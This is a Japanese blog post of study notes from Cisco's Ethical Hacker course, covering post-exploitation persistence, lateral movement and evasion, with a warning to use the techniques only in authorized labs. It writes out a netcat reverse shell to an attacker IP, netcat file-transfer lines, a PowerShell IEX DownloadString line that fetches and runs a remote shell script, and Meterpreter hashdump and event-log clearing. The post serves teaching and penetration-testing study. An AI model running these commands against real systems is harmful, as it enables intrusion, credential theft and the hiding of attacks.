0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

CiscoオンラインコースであるEthical Hacker(倫理的ハッカー)で学んだ内容をまとめてみた(第13回)

Last updated at Posted at 2025-12-12

導入

本記事は以下の続編としてを解説します。


この記事で得られること

  • ポストエクスプロイトにおける永続化・横方向移動の代表的手法を理解できる
  • PowerShell・Sysinternals・C2 フレームワークなど、正規ユーティリティの悪用手法を把握できる

⚠️ 注意(必読)

本記事で扱う内容は、悪用した場合、重大な法的リスクを伴います。
許可された演習環境・検証環境でのみ実施してください。
実在組織・個人への攻撃は禁止されています。


はじめに

本記事では、侵害後フェーズ(ポストエクスプロイト)における実践的な手法を整理します。
主に次の2トピックを対象としています。

  • 8.1:侵害後の永続性(Persistence)確保と足場構築
  • 8.2:横方向移動(Lateral Movement)、検出回避(Evasion)、追加の列挙(Enumeration)

1. 侵害後:永続性の確保と足場の構築(Persistence)(8.1)

侵入を果たした後、攻撃者は環境内に長期間滞在するための「足場(Foothold)」を確立します。
代表的には以下の処理が行われます。

1.1 永続性のために実施される典型処理

  • バインド / リバースシェルの設置
  • スケジュールタスク・cron の登録
  • カスタムデーモン / サービスの作成
  • 新規ユーザーの作成
  • 追加のバックドア設置
  • ツール類のアップロード(スキャナ・C2エージェント等)

攻撃者は、OS 標準ユーティリティや PowerShell を活用して目立たない形で実行することが多く、後述する「Living-off-the-land(環境依存型攻撃)」の典型例に該当します。


1.2 バインドシェル / リバースシェル(NetcatとMeterpreter)

永続性の最初のステップとして最もよく利用されるのが シェルの確立 です。

1.2-1 シェルの基本

  • バインドシェル
    侵害先がポートを開放し、攻撃者が接続する方式。FW に遮断されやすい。

  • リバースシェル
    侵害先が攻撃者側へ接続する方式。Outbound が許可されている環境で成功しやすい。

1.2-2 Netcat を用いた例

● バインドシェル(攻撃者が接続)

被害ホスト:

nc -lvp 1234 -e /bin/bash #ポート1234でリスナーを作成し、Bashシェルを実行

※ -e が使えるのは GNU netcat または一部ディストリの旧版のみです。

攻撃者:

nc -nv <target-ip> 1234 #侵害先IPアドレスのポート1234に接続して対話モードを開始

● リバースシェル(侵害先 → 攻撃者)

攻撃者:

nc -lvp 1234 #ポート1234で待ち受け状態

被害ホスト:

nc <attacker-ip> 1234 -e /bin/bash #攻撃側IPアドレスのポート1234に対してbashシェルを実行します。

※ -e が使えるのは GNU netcat または一部ディストリの旧版のみです。

● Netcat の便利なコマンド一覧

nc -nv <IP> <port>           # TCP ポート接続
nc -lvp <port>               # リスン
nc -lvp <port> > out.txt     # ファイル受信
nc -nv <IP> < input.txt      # ファイル送信
nc -z <IP> 1-1024            # ポートスキャン

1.3 Meterpreter(Metasploit)の基本コマンド

Meterpreter はポストエクスプロイトで最も使用されるペイロードの一つで、プロセス移行・ファイル転送・ログ削除など高度な操作が可能です。

代表的コマンド:

cat, cd, pwd, ls               # 基本操作
clearev                        # Windows イベントログ削除
hashdump                       # Windowsシステム内のSAM データベースのダンプ
migrate, ps                    # プロセスの操作、表示
execute                        # コマンド実行
upload / download / search     # ファイル送受信、検索
webcam_list / webcam_snap      # カメラ操作

参考:Metasploitの無料学習コース
https://www.offensive-security.com/metasploit-unleashed


1.4 C2(Command & Control)ユーティリティ

侵害後の制御には C2(Command & Control)サーバ が使用されます。
通信には秘密チャネル(Covert Channel)が利用され、一般的なクラウドサービスですら悪用されます。

代表的なツール:

ツール 特徴
socat 汎用バイダクショナル転送ツール
wsc2 WebSocket ベース
WMImplant WMI 経由で C2
DropboxC2 Dropbox API 悪用
TrevorC2 HTTP/HTTPS トンネル
Twittor Twitter DM を利用
DNSCat2 DNS over C2

一覧:https://www.thec2matrix.com


1.5 スケジュールタスク / カスタムサービス

永続性の古典的手法として以下が挙げられます。

  • Windows タスクスケジューラによるバックドア実行
  • systemd / launchd によるカスタムデーモン作成
  • Registry Run キーの悪用
  • サービス登録による永続化

バックドアを OS 起動時に自動実行させるのは今でも主流です。


2. 横方向移動(Lateral Movement)と検出回避(Evasion)、追加の列挙(Enumeration)(8.2)

侵入を果たした後、攻撃者は更なる攻撃のために「横方向移動」や「検出回避」、「追加の列挙」を実行します。
代表的には以下の処理が行われます。

2.1 典型処理

  • ARPスキャン / pingスイープ
  • DNS / Directory Services 列挙
  • SMB / WMI / WinRM を利用した横方向移動
  • ポートフォワーディング、SSH トンネル、VPN 経由で内部ネットワークへアクセス
  • ローカルツールを利用した列挙
  • ブルートフォース攻撃(SMB、RDP 等)
  • ユーザー / グループ / フォレスト列挙

攻撃者は、OS 標準ユーティリティや PowerShell を活用して目立たない形で実行することが多く、後述する「Living-off-the-land(環境依存型攻撃)」の典型例に該当します。

2.2 横移動とは

ラテラルムーブメントは、侵害した 1 ホストを踏み台にネットワーク内を拡大していく一連の行動を指します。ピボットとも呼ばれます。

代表例:

  • SMB / WMI / WinRM を用いたリモート実行
  • パスハッシング(Pass-the-Hash)
  • RDP 接続
  • ファイル共有の列挙と権限悪用

スキャン方法:

  • ARP スキャン
  • 生存ホストへのスロー・レート ping
  • SMB 列挙
  • PowerShell によるスキャン(Nmap 風の TCP チェックなど)

対策:

  • VLANによる適切なセグメント化
  • FWやアクセス制御

2.3 RDP を利用した横方向移動

Metasploit では、侵害セッション上から RDP を有効化し、そのまま GUI での操作に移行できます。

例:

msf > use post/windows/manage/enable_rdp
msf > set SESSION <id>
msf > run

利点:

  • GUI が利用できる
  • 暗号化されているためパケット監視が困難
  • スクリーンショットやソフト無効化が容易

欠点:

  • ユーザーに気付かれる可能性がある

2.4 正規ユーティリティの悪用(Living-off-the-land(LoL))

近年主流の攻撃である正規ユーティリティの悪用(LoL攻撃)です。
OS 標準ツールを悪用するため検知が難しくなります。

典型例:

  • PowerShell
  • WMI
  • Sysinternals(PsExec など)
  • Linux:bash、curl、sed、awk など

2.5 PowerShell を用いたポストエクスプロイト

PowerShell は列挙、権限昇格、スキャン、データ窃取まで幅広く利用されます。

代表的なコマンド例:

Get-ChildItem                                      # ディレクトリ列挙
[Copy-Item / Move-Item] sourceFile.txt destinationFile.txt # ファイル操作
Select-String -path c:\users\*.txt -pattern password # ファイル内のテキスト検索
Get-Content "user\passwords.txt"                   # ファイルの内容を取得
Get-Location / Get-Process / Get-Service / Get-HotFix # ディレクトリ、プロセス、サービスリスト、修正プログラムリストの取得
1..255 | % {echo 10.1.2.$_; ping -n 1 -w 100 10.1.2.$_ | SelectString ttl} # ping スイープ
PS> IEX (New-Object Net.WebClient).DownloadString('http:// /Invoke-PowerShellTcp.ps1') # ウィルス検知の回避
Get-NetFirewallRule -All                           # FW ルール列挙

参考:Powershellのリモート処理有効化方法
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting


2.6 PowerSploit / Empire / BloodHound

2.6-1 PowerSploit

強力なポストエクスプロイト用 PowerShell モジュール群のことです。

代表的なモジュールやスクリプト:

  • Invoke-Mimikatz(資格情報ダンプ)
  • Invoke-Portscan(ポートスキャン)
  • Invoke-DllInjection(DLL 挿入)
  • Invoke-Shellcode(シェルコードの挿入)
  • Out-EncodedCommand(スクリプトの圧縮)
  • Out-EncryptedScript(スクリプトの暗号化)
  • Add-Persistence(スクリプトへの永続性付与)
  • Get-SecurityPackages(セキュリティパッケージの列挙)
  • Get-Keystrokes(キーストロークの記録)
  • Get-MicrophoneAudio(システムマイクの録音)
  • Mount-VolumeShadowCopy(ボリュームシャドウコピーのマウント)
  • Set-CriticalProcess(Powershell終了時にブルースクリーン)
  • PowerUp(権限昇格のチェック)
  • PowerView(AD 列挙)

2.6-2 Empire

PowerShell ランタイム(CLR)上で動くが、
powershell.exe を必要としない形で実行可能 C2 フレームワークです。

含まれるモジュール:

  • キーロガー
  • バインドシェル
  • Mimikatz
    など

ダウンロードはこちら

2.6-3 BloodHound

AD の権限関係をグラフ化し、「最短攻撃経路」を可視化するツール。

ダウンロードはこちら


2.7 WMI / Sysinternals / PsExec / WinRM

2.7-1 WMI(Windows Management Instrumentation)

Windows OS 上のデータと操作を管理するツール

  • プロセス作成、ファイル操作、レジストリ変更
  • WinRM や SCOM が裏で使用
  • C2 チャネルとしても利用可能

2.7-2 Sysinternals / PsExec

SysinternalsはWindowsベースのコンピュータを制御できるツールスイートで、
PsExecはその中のツールの一つ。
コマンドプロンプトでリモートからプロセス実行するためにPsExecは利用される。

Sysinternalsのツール一覧:

  • PsFile(ファイルの表示)
  • PsInfo(コンピュータの詳細情報提供)
  • PsGetSid(セキュリティ識別子の表示)
  • PsKill(プロセス強制終了)
  • PsPasswd(パスワード変更)
  • PsService(サービスに変更を加える)
  • PsSuspend(プロセス一時停止)

PsExec 実行例:

> PsExec VICTIM -d -i calc.exe 
> PsExec -i -d -s regedit.exe 

2.7-3 WinRM

Windowsシステムへの接続を管理するサービスで、
永続的なアクセス権維持のため悪用されることがある。

WinRM 実行例:

Enable-PSRemoting -SkipNetworkProfileCheck -Force

2.8 痕跡の削除

2.8-1 ペンテストにおける痕跡削除

ペンテストにおいては特にシステム侵入後のログは可能な限り抑制し、
作成したユーザーやアカウント、ファイルの削除が必要である。

ベストプラクティス:

  • テスト用ユーザーの全削除
  • ファイル、バイナリ、スクリプト及び一時ファイルの削除
  • 変更されたパラメータの戻し
  • テスト用のバックドア、デーモン、サービスルートキットの削除

2.8-2 ステガノグラフィー

画像や動画ファイルの中にメッセージなどを隠す方法で、
痕跡隠蔽や検出回避のために利用される。

実行例:

$steghide embed -ef secret.txt -cf logo.jpg           #文字の埋め込み
$steghide extract -sf logo.jpg -xf extracted_data.txt #文字の読み出し

まとめ

ポストエクスプロイトは、単なる「侵入後の作業」ではなく、
組織内で長期間存在し続けるための戦略的フェーズ として扱われます。

  • 永続化の仕組み
  • C2・シェル確立の実際
  • 横方向移動の一般的手法
  • 正規ツールを用いた痕跡の少ない攻撃
  • Windows / AD 環境における典型的な侵害手法

ペンテスト並びに防護策立案において、これらの仕組みを意識することは重要です。


📍 次回予告
次回は9章「報告とコミュニケーション」の内容を解説します。


次の記事はこちら

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?